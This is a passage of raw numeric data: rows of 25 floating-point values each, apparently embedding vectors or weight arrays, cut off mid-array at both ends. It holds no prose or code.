0.17102696, -0.786998, 0.56626512, -0.5280516, -0.5472916, 0.07945824, -0.6812364, -0.6413424, -0.31015952, 0.07737456, 0.8697152, 0.04761672, 0.13565488, 0.3878946, 0.12011298, 0.8546978, -0.4880116, 0.814133, -0.4967064, -0.35271064, 0.35803056, -0.9034288, -0.028032048], [0.31499248, -0.19277456, -0.26560408, -0.13523168, 0.14273448, 0.034228104, -0.17781884, 0.34080972, -0.05879148, 0.08181576, -0.23384952, -0.23538552, -0.27816176, -0.00945736, -0.16251708, 0.13619086, 0.19877498, -0.2823344, -0.09753496, -0.3422254, 0.0746756, -0.1377148, -0.19059832, -0.3501292, -0.3860456], [0.31849, 0.59400776, -0.8058088, -0.3422616, -0.56261952, -0.39418668, 0.22861616, 0.086857, 0.8691092, 0.5519836, 0.9090028, 0.6886932, -0.4470884, -0.14393216, 0.24947832, -0.733219, -0.628255, 0.7950824, -0.534485, -0.9489572, 0.9627428, -0.58293176, 0.10750744, 0.019770208, -0.8597792], [0.32617488, -0.12134816, -0.09296944, 0.39771832, 0.034386448, -0.38058332, 0.19332576, 0.20444724, 0.17758284, -0.05344432, 0.012693936, -0.001000235, 0.12707796, 0.38341916, 0.39757016, -0.0344785, -0.2253878, 0.07077134, 0.03216314, -0.02672162, 0.17420744, 0.25226896, -0.2023328, 0.3126904, 0.23371], [0.3264712, 0.32549688, -0.000665771, 0.11169728, -0.24215408, 0.2404672, 0.11610344, 0.10576044, -0.30733564, 0.07875052, 0.30867368, -0.3207846, 0.1170724, -0.30284332, 0.23117164, 0.0528881, -0.10629918, -0.2579402, -0.11762468, -0.02330926, -0.1846424, 0.015431128, -0.34284184, 0.21207752, 0.18826528], [0.32879668, -0.28357816, -0.29761232, -0.24192352, -0.36829984, 0.3101946, 0.24014084, 0.10514364, 0.06201612, 0.18394588, 0.10971252, 0.31961816, 0.0488948, 0.3804616, 0.35112172, 0.3716858, -0.331687, -0.3801656, 0.36029, 0.2549964, -0.15063708, -0.013444512, -0.38040608, 0.24539832, -0.35114128], [0.34121872, -0.8047128, -0.1229, -0.30272616, -0.25955752, 0.13487284, -0.6827008, -0.9891328, -0.26995992, 0.9151692, -0.4835028, 0.4184548, -0.29900712, -0.9094072, 0.9954924, 0.689695, 0.5681034, 0.9557572, 0.2545008, 0.3763628, -0.2410798, 0.58303448, -0.30650088, 0.36501936, 0.055344624], [0.34242776, 0.21854248, -0.361978, -0.18787024, 0.35097704, -0.16472544, 0.3968254, 0.10367356, 0.09914844, 0.15191564, 0.1744168, 0.1998218, 0.3758154, -0.0719168, -0.2676162, 0.05394262, -0.0540319, 0.05388898, -0.2641118, -0.3718776, -0.13466728, 0.38887744, 0.245842, -0.2629524, 0.08408768], [0.34403116, 0.9920624, -0.054767256, -0.74455304, -0.45105832, 0.6044044, -0.9134004, -0.31188448, -0.8370532, 0.24442188, -0.7002164, 0.6001548, 0.04834236, -0.006942572, 0.08153252, -0.463625, -0.9006014, -0.8666534, -0.8040442, 0.3404138, 0.8290352, 0.8662392, -0.6033432, -0.9142744, 0.77265056], [0.34810724, 0.23075624, -0.17372744, -0.378102, 0.26838952, -0.24569364, -0.1202234, 0.35010212, -0.257538, -0.06027984, 0.32852904, -0.34250596, -0.17216116, 0.2738672, -0.16890076, -0.2414548, -0.224565, 0.2543846, -0.2718302, -0.312138, 0.39495408, 0.38604776, 0.27505408, -0.09014016, -0.004239514], [0.35078076, 0.65672736, 0.40481808, -0.8423672, -0.2689772, 0.01450914, -0.3706626, -0.7256892, -0.4019716, -0.32051596, -0.4685644, -0.5642176, -0.6623744, -0.34041316, 0.4879104, 0.2383454, -0.8510594, 0.17134822, -0.8339568, -0.6839276, -0.01727014, -0.66601768, 0.65651824, -0.79738864, -0.36384904], [0.35263076, -0.018972568, -0.11384872, 0.32792688, -0.3562948, 0.017549716, -0.33943676, -0.3461392, -0.34479536, 0.22382728, 0.14221696, 0.23584256, 0.34705808, -0.33800152, 0.0476562, -0.15112756, -0.3373478, 0.16793308, 0.356106, -0.0879262, 0.09587824, 0.16826352, -0.1845892, 0.3392148, 0.001636062], [0.3532482, 0.10932312, -0.23650904, 0.2681752, -0.8545688, -0.6839164, -0.2971576, 0.6855916, 0.5233412, 0.86044, 0.5387944, -0.33432512, 0.653438, 0.9663516, 0.6514272, -0.3996798, -0.4517324, 0.2469632, -0.7175074, -0.400693, 0.3840498, -0.16577296, 0.58475656, -0.63731072, -0.61965376], [0.35793864, -0.38636336, 0.055205208, -0.11054024, 0.26162008, -0.21258284, 0.09982216, -0.34313144, -0.37734516, -0.0528336, -0.13686132, 0.1663138, 0.21867132, -0.2981692, -0.13726208, -0.07838122, -0.03271068, -0.394402, -0.13204562, -0.2704818, 0.23414196, -0.12846992, -0.30436888, -0.36851224, -0.19559632], [0.37352492, 0.77768472, -0.46996344, 0.36444232, -0.69081232, 0.13502352, 0.6909852, -0.4619456, -0.4567344, -0.7979064, 0.8676668, 0.25900336, 0.89202, -0.8739808, 0.20322236, -0.8866338, -0.7800056, 0.9000434, -0.09824524, 0.4663664, -0.6072748, -0.871788, 0.54045256, 0.76891176, -0.9474216], [0.37406392, 0.9374416, -0.43368728, 0.53217416, 0.43143704, -0.1404998, 0.6053084, -0.617176, -0.75065, 0.8703088, -0.28612456, -0.10848604, 0.7799352, -0.4944192, 0.8409192, 0.7827672, 0.6786398, 0.07224348, -0.7465698, -0.2679082, -0.03188784, 0.12621864, -0.28740344, 0.46565104, 0.8627656], [0.38693916, 0.14655392, 0.11296896, -0.38884496, -0.3766232, 0.3777068, 0.30469252, 0.1946444, -0.23473632, -0.007345156, 0.2705196, 0.13392252, 0.3767228, 0.27171704, -0.06301628, -0.2998638, 0.3423328, 0.2438432, 0.00200048, 0.3284634, -0.037550876, 0.36662144, 0.26515832, 0.065783176, 0.39395288], [0.392778, -0.09877784, 0.23932624, 0.28130576, -0.21690512, 0.36347204, -0.17290392, 0.37495808, -0.09358192, 0.09889144, -0.35238484, -0.17584516, -0.20101332, -0.28898876, -0.37323156, 0.3678932, -0.18398804, -0.04879066, -0.17909436, 0.1205876, 0.07749768, -0.30272104, -0.13632632, 0.36554968, 0.28441048], [0.39760728, 0.28430552, -0.5306188, -0.13084528, 0.34322464, 0.5359776, 0.397787, 0.9035044, -0.14200852, -0.5987552, -0.26227232, -0.35919964, -0.28535268, 0.275905, 0.4855772, 0.04452094, 0.8060642, 0.385885, 0.18463234, -0.9881322, 0.51148, -0.5344336, 0.9301096, -0.18244568, -0.8997576], [0.4038912, 0.58475664, -0.32636344, 0.028161984, -0.015134056, 0.17237964, -0.6222924, -0.5607664, -0.9001888, 0.5753872, -0.004846544, -0.860504, -0.006186456, 0.8915796, -0.6259004, -0.7018716, -0.9103748, -0.1129407, -0.223458, 0.13748088, 0.867136, 0.65694128, 0.28080088, 0.60957728, -0.2925192], [0.4046868, 0.011282336, -0.4553724, 0.45608296, -0.056855984, -0.9838812, 0.24068676, 0.43419, -0.7028496, 0.6737936, 0.2990274, 0.1308706, -0.775424, 0.7296852, 0.6113624, -0.3050664, -0.15720806, -0.5170098, -0.4916068, -0.14821332, -0.16179468, -0.75720904, -0.41107336, 0.72536128, -0.157272], [0.4073076, 0.8580776, 0.47581096, 0.68763552, -0.19192488, 0.7447372, 0.7483436, -0.7170996, 0.49167, -0.21023816, 0.4463768, 0.8653448, -0.4119456, -0.039020424, 0.30632144, -0.12143382, -0.17428412, -0.5532662, 0.017728964, 0.01077888, -0.292326, -0.49012648, 0.60692024, -0.319998, 0.802668], [0.4073604, 0.068050192, 0.9306368, -0.14986784, -0.046547072, -0.4348196, -0.7471696, 0.9500656, 0.5012696, -0.5754444, 0.4281764, 0.4454376, 0.25163964, 0.4167852, 0.9108676, 0.530055, -0.07213964, 0.004424372, 0.929367, 0.5764368, -0.882596, -0.5672028, 0.14460536, 0.66566112, 0.066488928], [0.4075768, -0.14955496, 0.33221352, -0.34269424, 0.242232, 0.6977324, -0.39664764, -0.012208212, 0.94134, 0.9444884, 0.7434004, 0.7636856, 0.9802832, -0.29358384, -0.77458, -0.4349862, -0.07944756, 0.635629, 0.3520968, 0.5664138, 0.030217064, 0.09153104, 0.39475888, 0.09984728, 0.48059584], [0.4096232, 0.64135384, -0.9149904, -0.78859816, -0.08937496, -0.913998, -0.610502, -0.34671476, -0.7665148, 0.621008, -0.1937622, -0.23554048, 0.434376, 0.09181152, -0.4512648, -0.994749, -0.8874778, -0.444513, 0.15055078, 0.2216104, 0.4158088, 0.08722928, 0.70324128, 0.2070596, 0.37700784], [0.415336, 0.9414928, 0.9314624, 0.8547256, 0.8684288, -0.8198112, 0.12948152, 0.4658304, 0.98947, -0.2510854, 0.33969284, 0.5001316, 0.31777304, -0.14803492, -0.9944228, -0.6994872, 0.4905326, -0.3780712, 0.309355, -0.1229657, -0.4453696, 0.8137344, -0.51295328, 0.74858712, 0.44789456], [0.4169804, 0.9891576, -0.08483616, 0.8223216, 0.16861968, -0.9679296, 0.12132344, -0.6970636, -0.34830272, -0.7128688, 0.3049264, -0.10029764, -0.4631336, 0.659484, -0.4384744, -0.6282978, 0.3611046, 0.6995054, -0.8234756, 0.16001088, 0.36975492, -0.8241304, 0.019384696, 0.64285232, -0.31501808], [0.4175988, 0.8062032, -0.968344, -0.53526752, 0.045551192, -0.819416, -0.6075888, -0.5401928, 0.4089708, -0.5679872, 0.5680532, -0.11758052, -0.3911416, 0.33400716, 0.2395554, -0.17511004, 0.610368, -0.7281676, -0.2601814, -0.9677214, -0.29280668, -0.49988456, -0.46585736, -0.65688064, 0.17919344], [0.4453848, 0.29552704, -0.24995632, -0.9591376, -0.4014396, 0.3021394, -0.0590172, 0.1803872, 0.949714, 0.4765444, -0.9705348, 0.7287308, -0.1500018, 0.8042304, -0.0604278, 0.09414404, -0.01739187, 0.31393, -0.8941346, 0.6366732, -0.4550092, -0.39990488, 0.60234864, -0.046793464, 0.18319576], [0.4546936, -0.49744976, -0.940496, 0.18468512, 0.23124336, -0.9621244, -0.5942628, -0.4799588, -0.37640436, 0.4236112, 0.6139864, -0.8878292, -0.9908128, -0.7558296, 0.6859448, 0.4370684, 0.5314974, -0.7674188, -0.7883894, -0.3362062, 0.6084724, 0.34085664, -0.2618892, 0.73646584, -0.21954496], [0.456656, 0.040781816, -0.14112872, 0.26685424, -0.028994536, 0.35258152, 0.36778624, 0.26045952, -0.8803008, -0.37879888, 0.8232548, -0.07703636, 0.6988644, -0.7977844, 0.023779868, -0.6130632, -0.6012272, 0.4564316, -0.4536586, 0.02303096, -0.5424868, 0.52833192, -0.76163728, 0.32312992, 0.9235896], [0.4608368, 0.4506452, -0.78291184, 0.57171528, -0.13461728, 0.02056956, -0.19214652, 0.8813728, 0.8071924, -0.16845556, 0.4386476, -0.17688056, 0.4562088, -0.8097768, 0.3268962, -0.9686106, 0.4807184, 0.7251374, -0.0328282, 0.4046538, -0.31417144, -0.8928704, 0.33667504, 0.256118, -0.20931568], [0.466238, -0.012195024, -0.08077112, 0.54315536, -0.09809072, -0.2615858, 0.21300012, -0.8958868, 0.36799756, -0.883264, -0.001679957, -0.26901844, -0.35469808, 0.9686208, 0.39115384, -0.726865, 0.2335988, -0.4227438, -0.6362594, -0.571226, 0.8254352, -0.69279888, -0.16264408, -0.57718576, 0.55672392], [0.4663496, -0.13695472, 0.09657032, 0.61732864, 0.818912, -0.688404, 0.26899144, -0.4927588, 0.1651356, -0.34221848, 0.07459472, -0.941746, 0.8460432, -0.5386696, 0.36946628, -0.3296928, 0.9928792, -0.08648724, 0.5995608, 0.8484096, -0.957554, 0.9423864, -0.62396776, -0.8745488, -0.8880888], [0.4673784, 0.49466872, -0.06498084, -0.3789716, -0.32200296, 0.4785576, -0.21525012, 0.38363596, -0.6469072, 0.5069812, -0.22552988, 0.987148, 0.6755556, 0.401202, 0.25119076, 0.9678014, 0.7328208, -0.2146882, -0.2813156, 0.7993468, 0.509292, 0.36437408, -0.49048232, -0.11396632, -0.15038992], [0.4701396, -0.37203624, 0.67900968, 0.39202016, -0.29656488, 0.2028432, 0.793068, 0.32208636, 0.9216792, 0.36120276, 0.6799404, -0.464356, 0.2210802, 0.6545, 0.826468, 0.5303682, 0.6690712, -0.011978014, 0.7708582, -0.1351598, -0.881316, -0.31508632, -0.12223352, -0.53794832, -0.51600432], [0.4728484, 0.7918512, 0.9198752, 0.44362832, -0.16082536, 0.21230508, 0.8705444, 0.5917976, 0.7737132, -0.83075, -0.6343104, -0.09010672, 0.4535736, 0.10610408, 0.008079864, 0.8535194, -0.7562464, -0.16381044, -0.6929408, -0.1614982, 0.23682176, -0.32307432, 0.66052448, -0.32017152, 0.78598896], [0.4847072, 0.8285384, 0.21897344, 0.24275304, 0.8597088, 0.8358668, -0.9993604, -0.5436376, 0.9629176, 0.4402168, 0.5544872, 0.30301256, -0.20131112, 0.7654876, 0.857852, 0.587711, 0.3045238, 0.567737, -0.7124012, -0.2782448, -0.32071688, 0.68838352, 0.38502368, -0.9117272, 0.56757024], [0.4872324, -0.42772912, 0.4366648, 0.08827768, -0.68849328, 0.7088592, -0.913614, -0.0066304, 0.4986592, 0.34469528, 0.37460736, -0.8123404, -0.20604832, 0.5228696, -0.7610968, 0.6054552, -0.5132484, 0.14414262, 0.6446636, 0.4397086, -0.425792, 0.922472, -0.7947952, 0.23838576, 0.8584224], [0.491278, 0.66318776, 0.31251208, 0.50243544, -0.9191632, 0.7063304, 0.6078472, 0.33744152, -0.013076884, -0.4521284, 0.37543416, 0.5799208, 0.03562318, -0.1329168, 0.8040544, -0.975839, -0.683744, 0.4644198, 0.5718846, -0.00552066, 0.17240352, -0.72408384, -0.7660252, 0.75783528, 0.24306328], [0.4953484, 0.9391688, -0.46975832, 0.49427192, 0.16275496, -0.492458, 0.29019584, 0.800682, 0.5143016, -0.8715104, 0.917186, -0.19049536, -0.449064, -0.20819308, -0.7584584, 0.6409314, -0.5515408, -0.12363626, 0.9406588, 0.8821204, -0.8721968, -0.8839864, -0.9616952, 0.64270704, -0.41517928], [0.498344, 0.09860952, 0.30202384, -0.33368, 0.31049064, 0.6919848, -0.022484624, 0.0603996, 0.05775532, -0.8541924, -0.8571144, 0.4224396, -0.8122356, -0.9715096, -0.4458964, 0.11145284, -0.5606382, -0.776345, -0.8837164, -0.1866907, -0.8593908, -0.72976408, -0.46247144, -0.15205216, 0.7366704], [0.5099664, 0.6664176, 0.54323984, 0.29345192, 0.1904544, -0.459388, 0.8333232, 0.6635828, 0.8025636, -0.657034, -0.37553732, -0.1764474, -0.38969056, -0.0525228, 0.7958732, -0.6336226, 0.275642, 0.453881, -0.2015844, -0.4851638, 0.29973832, -0.78498496, 0.0793104, -0.25675632, 0.8854976], [0.5136528, -0.29633896, 0.37685768, -0.57675184, 0.40736528, 0.13406832, 0.71738, -0.5065896, -0.16402688, -0.29422348, -0.22272348, -0.35800084, -0.10727692, -0.862118, 0.4450892, 0.4238092, -0.000631043, 0.8604184, -0.2666554, 0.9217532, 0.4846752, -0.69085, -0.15836064, -0.4600584, 0.115518], [0.515384, -0.17063008, -0.5495104, 0.4792444, 0.5334256, -0.8936532, -0.15196208, 0.845034, 0.26469964, 0.3818446, 0.12934204, 0.13877156, 0.36935384, 0.447072, 0.9039384, -0.0475487, 0.1400815, 0.2197608, 0.2352696, 0.09933058, 0.16639376, 0.48229088, -0.64022512, -0.31106384, -0.29607288], [0.51843, -0.8202416, -0.8248216, -0.15950768, -0.49047928, 0.6412312, 0.05954392, -0.5341512, 0.5590572, -0.9292504, -0.6658664, -0.5427712, -0.06148328, 0.8517032, -0.006489816, 0.9143134, -0.5172626, -0.5615004, -0.2288672, 0.8806082, -0.4053616, 0.16228416, 0.51240912, -0.8058632, 0.26654456], [0.520464, 0.34833968, 0.043960264, -0.71181848, 0.64110688, -0.2502624, -0.6850952, 0.27451264, 0.23287152, 0.8394224, -0.4165316, 0.842108, 0.25716292, -0.102389, 0.5852796, 0.16551608, 0.799587, -0.5477548, 0.9441422, 0.7112864, -0.9666728, 0.48222616, 0.49866848, -0.69227104, -0.61357112], [0.5246972, -0.65958216, 0.33127184, 0.27274472, 0.12405376, 0.8681568, -0.4568784, -0.9640756, 0.004247188, -0.12449712, 0.7946584, -0.7444644, -0.986004, -0.4189668, -0.029255064, 0.9177868, -0.000694903, 0.09089868, 0.2707638, 0.2522654, -0.22724832, -0.17886536, 0.11648016, 0.07021496, 0.21442848], [0.5342224, 0.77321016, 0.14596104, -0.33061448, -0.6601132, 0.1580562, 0.11384036, -0.33778856, 0.24094948, 0.29167896, -0.36137968, 0.5523516, 0.025289444, -0.7094332, 0.38700576, -0.284096, 0.7111954, -0.377675, -0.9599974, 0.3990788, 0.28540808, -0.71231808, 0.28142072, 0.16636736, -0.05992], [0.5377508, 0.71700616, 0.8284072, 0.059111704, -0.32058376, -0.8673456, 0.00285448, 0.9599088, 0.7883, 0.7347108, -0.4485668, 0.16163144, 0.881966, -0.7107924, 0.7522004, 0.2312966, 0.700125, -0.7392202, -0.4459858, 0.485851, -0.26686816, 0.3846472, 0.1138956, 0.64238136, 0.7432756], [0.540234, -0.057314448, 0.9218632, 0.67684872, -0.30957496, 0.35189792, 0.7013704, -0.36661404, 0.04703436, -0.4358568, 0.0655782, -0.5730692, -0.651084, -0.6938496, 0.26423736, -0.909106, 0.4177482, 0.4422892, 0.4526164, -0.738462, -0.5106196, 0.23663216, -0.70351952, -0.009739624, 0.052027472], [0.5406252, -0.8565408, 0.8774336, 0.08483912, 0.77419408, 0.8409848, 0.35084544, 0.31810484, -0.8271908, 0.989354, 0.18358424, 0.4936344, -0.04880148, -0.6227768, 0.08870912, 0.7319528, -0.5266528, -0.9836988, -0.04371406, 0.6713864, -0.17456372, -0.77603168, -0.44259792, 0.55285128, -0.44842416], [0.5440712, -0.75195664, 0.98334, -0.55498552, -0.17166216, -0.2504646, -0.2788152, -0.34018108, -0.4080148, 0.5271664, 0.574932, -0.27609236, 0.8820292, 0.4635232, 0.9125608, -0.6925198, -0.9381498, 0.19167424, -0.751718, -0.9955656, -0.6281608, -0.35795616, -0.47950096, -0.61292856, -0.1596312], [0.547782, -0.56321768, 0.27288752, -0.16034616, -0.53306832, -0.9611312, -0.5451776, -0.8298428, -0.028932188, 0.036503588, 0.037136576, -0.7357488, -0.6304716, -0.13993188, 0.31720772, -0.7791054, 0.7249068, -0.852931, -0.5782826, -0.5853176, -0.5642276, 0.46014928, 0.6687424, -0.54530984, 0.8508504], [0.548614, -0.13940936, -0.23816224, 0.50334184, 0.25610656, 0.25494684, 0.86912, 0.8505316, 0.34271548, 0.14441852, -0.439008, -0.4333628, -0.5428896, -0.7899224, -0.13344876, 0.4961274, -0.8598946, -0.7522312, 0.9359212, 0.8997806, 0.458326, 0.15140544, 0.79005368, -0.9921912, -0.09891984], [0.5490388, -0.9268376, 0.13824144, 0.9973736, 0.51253408, -0.7262624, -0.22190176, -0.03278576, -0.683872, 0.9131932, 0.015233104, 0.23675664, 0.3580214, -0.7412516, 0.8264384, -0.9118148, 0.17563588, 0.3971582, 0.05138216, 0.3377576, 0.8408364, 0.19601712, 0.4916424, 0.54591552, -0.56588512], [0.5546784, 0.8885848, -0.19248536, 0.996772, 0.17070296, -0.06414012, -0.6600364, 0.7921736, 0.7224648, -0.5051676, -0.034638872, 0.13554792, -0.9578564, -0.8032712, -0.8462372, 0.595907, 0.9285752, -0.8533312, 0.3368146, -0.04777306, -0.8999304, -0.44057768, 0.42084968, 0.43816288, -0.4638148], [0.5570924, 0.4812804, 0.66428576, -0.29602536, 0.0978416, 0.34672704, -0.31582068, 0.008261684, 0.1039452, -0.6640544, 0.5326344, -0.426192, 0.4414912, 0.1181192, -0.8830436, -0.733937, -0.4966198, 0.3303234, -0.826826, 0.304455, -0.875316, 0.59343784, 0.16036064, -0.16991504, -0.3946], [0.5606512, -0.59407056, 0.73706592, -0.8247416, 0.27111632, 0.1390452, -0.13652176, 0.1374502, -0.9781852, -0.50656, -0.21492912, 0.34538968, -0.22735392, 0.8645912, -0.10383596, -0.4351388, 0.7876772, 0.2532522, -0.505212, 0.8848666, 0.857504, 0.8605952, -0.8686328, -0.37417648, 0.963748], [0.5608444, 0.069613696, 0.001290983, 0.18730704, -0.078434616, 0.017131516, -0.2519634, -0.6244836, 0.9522916, -0.21141192, 0.932704, -0.5992304, 0.6669484, 0.76265, -0.7968012, 0.4415168, -0.2316622, -0.06269182, 0.08448212, -0.04713608, -0.18732172, 0.12992992, 0.7097056, 0.47257704, 0.21567608], [0.5627156, -0.9169856, -0.9352872, 0.62294768, -0.079355768, 0.7664, -0.4268464, 0.29326984, 0.793306, 0.5999612, 0.93991, 0.6878356, 0.8944012, 0.38156668, 0.036761512, 0.3848688, 0.9480814, -0.7972534, -0.3452382, -0.9694962, 0.403604, -0.7979952, -0.63931744, -0.022037472, 0.7898344], [0.5795332, -0.20284912, 0.8157432, 0.05980932, 0.40112616, -0.9804364, -0.4368764, 0.1216722, 0.35182624, 0.5701448, 0.19906528, -0.9046052, 0.027935604, 0.30675564, -0.7792408, 0.3522372, -0.14307314, 0.5075578, -0.583625, -0.1936203, 0.6512716, -0.35799552, -0.9535568, -0.057115832, 0.9389968], [0.5811752, -0.9329672, -0.13802784, -0.8866064, -0.20689432, -0.5993448, -0.59907, 0.27427132, 0.08934128, -0.3801438, 0.09073388, 0.6264768, -0.38717596, 0.18333336, 0.8602408, 0.8181466, -0.7453974, 0.9495638, -0.8358116, -0.5594678, -0.6930612, 0.3860716, 0.58454248, -0.49648272, -0.8428816], [0.58389, -0.40891056, -0.35025104, 0.60956768, 0.33567312, -0.09359672, 0.5143168, 0.584096, -0.5119456, -0.4559576, 0.9341848, 0.15755676, 0.6454348, -0.9314584, 0.4155232, -0.9780918, -0.816601, 0.4329118, 0.2536176, 0.09201942, 0.16756432, -0.010887368, 0.39028616, 0.15002064, -0.69121936], [0.5864948, -0.15804712, -0.51268184, 0.43537056, -0.76814544, 0.6674068, 0.418784, -0.18407296, -0.66448, 0.6598676, -0.25083456, -0.635266, 0.7453468, 0.06710092, 0.30752976, 0.507808, 0.2071762, 0.570305, 0.19987248, -0.5290776, 0.4476376, 0.49586224, -0.24482248, 0.24036216, -0.79470928], [0.5871168, 0.79011856, -0.000566275, 0.17316432, 0.70581272, -0.610964, 0.35173932, -0.8854712, 0.5786348, 0.27556604, -0.9555096, -0.10212012, 0.7298988, 0.22042036, -0.31553548, 0.4390548, -0.06316356, -0.7254304, -0.16800134, 0.432064, 0.36290076, -0.9181216, 0.27016768, -0.57968792, -0.7271056], [0.588362, -0.54843712, -0.79801696, 0.09177488, -0.08714344, 0.8519968, -0.6556736, 0.5947804, -0.14084924, 0.374574, -0.9538368, 0.651262, 0.9292724, -0.70971, -0.4513628, -0.6382754, 0.9952398, 0.4640724, -0.08868116, -0.2181866, -0.4926796, 0.99556, 0.69782752, -0.064302672, -0.3218148], [0.5910848, -0.7169736, 0.48156856, 0.23190512, 0.4447308, -0.38422628, -0.32611108, -0.9837884, -0.9830892, -0.453918, -0.8145576, 0.5406824, 0.81992, -0.33985752, 0.2337502, -0.2914798, 0.619252, 0.919946, -0.948349, -0.5373546, 0.06963156, -0.69386192, 0.8035528, -0.8794152, 0.64522704], [0.600904, -0.47045144, 0.54906144, 0.41710328, 0.6794324, -0.10195196, -0.27601856, 0.4665884, 0.563572, -0.10247984, -0.1607634, -0.4496888, 0.772404, 0.3132482, 0.9765956, -0.3064164, 0.9789168, -0.9130118, -0.6026414, 0.15327374, 0.31205496, -0.060411856, 0.09530128, 0.55800224, -0.018148136], [0.613432, -0.04670276, 0.012221512, -0.44088232, -0.28312216, -0.5520936, -0.7074808, -0.559998, -0.52544, -0.0536128, -0.11770336, -0.1159866, -0.9397204, -0.5520584, -0.4210856, -0.6218544, -0.1295701, 0.0937885, 0.09353982, 0.2299298, 0.2102872, 0.8254728, 0.19111064, 0.7698088, -0.50139088], [0.6176332, 0.8292472, 0.22248648, -0.055295448, 0.5987308, 0.713096, -0.5262736, -0.3467746, 0.9533264, -0.2524642, -0.7345364, -0.4255808, 0.8616372, -0.9447484, -0.8565044, -0.10842354, -0.8036072, 0.7216412, -0.3060028, -0.9737248, -0.0700564, 0.25392936, -0.40498064, -0.026238224, -0.66386944], [0.6176636, 0.817584, -0.52991496, -0.15670408, 0.19028, 0.9298456, -0.8444256, -0.0538334, -0.7924572, -0.3325462, -0.431524, 0.192644, -0.3160498, -0.0785684, 0.8568588, 0.2764406, -0.8246408, -0.8739672, 0.647826, -0.7897138, 0.38878584, -0.5629536, 0.055935528, 0.9773392, -0.9910672], [0.6215692, -0.2179596, 0.32164312, -0.79968296, 0.73938608, 0.33560044, 0.7440044, -0.28376332, 0.4845072, 0.9450208, -0.7488316, -0.5108012, -0.0723, 0.14066476, -0.8527876, -0.3716384, -0.2870316, 0.4869566, 0.9978748, 0.5372754, -0.712934, 0.059253968, -0.12921784, 0.18933312, 0.72385328], [0.6223984, 0.20191744, -0.45489568, -0.47829432, -0.16820568, -0.19369664, -0.651848, -0.31370024, 0.12831856, -0.7476208, -0.1786872, -0.4075584, 0.32131528, -0.7482216, -0.7516964, -0.2491426, -0.7614632, 0.3095324, -0.13595602, 0.1117016, -0.0860604, -0.65352168, 0.64761024, -0.040142888, -0.09554024], [0.6247436, 0.40429, 0.007903626, 0.53440056, 0.7279248, 0.13783576, -0.504536, 0.7666292, 0.431492, -0.16878568, 0.7069112, -0.0691068, -0.08902716, 0.29810276, 0.4732396, 0.3677298, -0.8604076, -0.05965438, 0.3405728, -0.6733838, 0.19022304, 0.8127976, -0.8261544, -0.8079976, -0.15409232], [0.6315148, 0.56911424, 0.9706776, -0.9143808, 0.014188384, -0.6018508, 0.8150656, 0.9577836, 0.7229076, -0.588668, 0.21723588, 0.6582676, 0.6203532, 0.19673684, -0.9114756, -0.12968246, 0.9619522, 0.1628623, -0.9704506, -0.3038584, 0.9552964, 0.57275992, -0.8403504, 0.5979312, 0.49692768], [0.6333156, -0.8478272, 0.58755736, 0.050292016, -0.9305632, 0.29698132, 0.7558032, 0.9655952, -0.23144648, 0.3075982, 0.21226352, -0.11966164, -0.725434, -0.25612128, -0.24759436, -0.8108, 0.21411, -0.4287134, -0.3705848, -0.9171384, -0.14325392, -0.08133528, -0.74156176, -0.57020328, 0.75250936], [0.6353312, -0.19561512, 0.62094888, -0.60492656, 0.034472096, 0.9514936, -0.6636252, 0.20786312, -0.497462, 0.23585556, -0.811226, 0.8295808, -0.17348552, 0.030258028, -0.8525628, 0.08959302, -0.66834, -0.8022698, 0.13927804, -0.1119288, 0.6547236, -0.63356008, -0.1525028, 0.79125728, -0.9146232], [0.6367404, 0.8716264, -0.53096896, 0.017638768, -0.209728, 0.5492236, -0.25274084, -0.8399776, 0.6164948, 0.14100324, 0.423068, 0.06144716, -0.968204, -0.689616, 0.4379388, -0.08879578, 0.7747258, 0.9090528, 0.7386466, -0.5507256, 0.16610708, 0.75444304, 0.09834832, -0.6718644, -0.18671248], [0.6392064, -0.8696888, -0.062070336, 0.59048296, -0.7785556, -0.09248268, 0.5323336, -0.4938044, 0.20363468, 0.9384764, -0.06658488, -0.05470752, 0.5936672, 0.5243584, 0.0425408, 0.5831946, 0.5190386, -0.6139352, 0.6705608, 0.648377, -0.79009, 0.16184088, 0.4662648, -0.5607436, 0.20394144], [0.6487936, -0.064656656, 0.39669224, 0.37293544, 0.0603464, 0.8417536, -0.4247276, 0.18140288, 0.5748872, -0.34995624, 0.9657488, -0.11785332, 0.7131064, -0.4418508, -0.6847936, -0.7774388, 0.569997, 0.5520588, -0.14990052, -0.11064946, 0.039677, 0.7575976, -0.48687704, 0.73797616, -0.6272232], [0.6502364, -0.8185376, 0.44762824, 0.9732768, 0.51899144, 0.6099068, 0.7946936, -0.5836988, 0.15771952, -0.2684228, 0.38104516, -0.9611124, 0.8013568, 0.2123776, 0.27294556, 0.0900319, -0.2596974, -0.3144332, -0.8321712, 0.7057144, 0.5846096, -0.55264392, 0.071824256, 0.21421592, -0.65751664], [0.6510516, -0.31512872, -0.360784, -0.56018688, -0.67619096, 0.7869628, -0.4241916, -0.4015744, 0.330916, 0.33572432, -0.8359128, 0.9795336, 0.16617028, -0.7072956, -0.7391336, 0.9544836, -0.6521356, 0.8975416, -0.04181192, 0.8667538, 0.6536004, 0.9358408, -0.8385824, 0.11491248, -0.14219008], [0.6636996, -0.27069808, -0.3468528, -0.32667832, 0.74336392, 0.6009996, 0.8638736, 0.9386164, -0.27957416, 0.25260336, -0.6362188, 0.435622, -0.9465796, -0.149507, -0.7201604, -0.920305, 0.5938592, -0.6272358, 0.6799332, 0.91392, 0.8797324, -0.11176792, -0.29735248, -0.24290616, -0.9674352], [0.66495, 0.37310432, 0.35419168, 0.34253328, 0.61739104, -0.10554564, -0.24091232, -0.2433784, -0.8356824, 0.546196, -0.5647468, 0.762622, -0.8120292, -0.5255944, -0.7563168, 0.4172688, 0.0631874, -0.7669, 0.7655794, 0.13642942, -0.6726588, 0.75767496, 0.68717352, 0.2044292, 0.33210072], [0.6682976, -0.77740496, 0.8696256, -0.9420552, 0.20861752, -0.9240624, -0.809484, -0.4016336, 0.9193408, -0.038432176, 0.973516, 0.33146352, 0.6516372, 0.1361956, -0.9310124, -0.2451506, -0.03944206, 0.6469246, -0.7402862, -0.04238276, 0.11574136, 0.7535276, -0.047238536, 0.8421008, -0.79748904], [0.6754792, -0.19497696, -0.60081904, -0.76454344, -0.36751744, -0.5163776, 0.09574744, -0.23926888, 0.4843936, -0.35521048, 0.04478648, 0.5812496, 0.38343452, -0.18114964, 0.6225268, -0.6483908, 0.9179334, -0.7319, 0.13775374, -0.004952426, -0.60924, -0.9680872, -0.1389496, 0.13528432, -0.63647256], [0.6800904, 0.60265032, 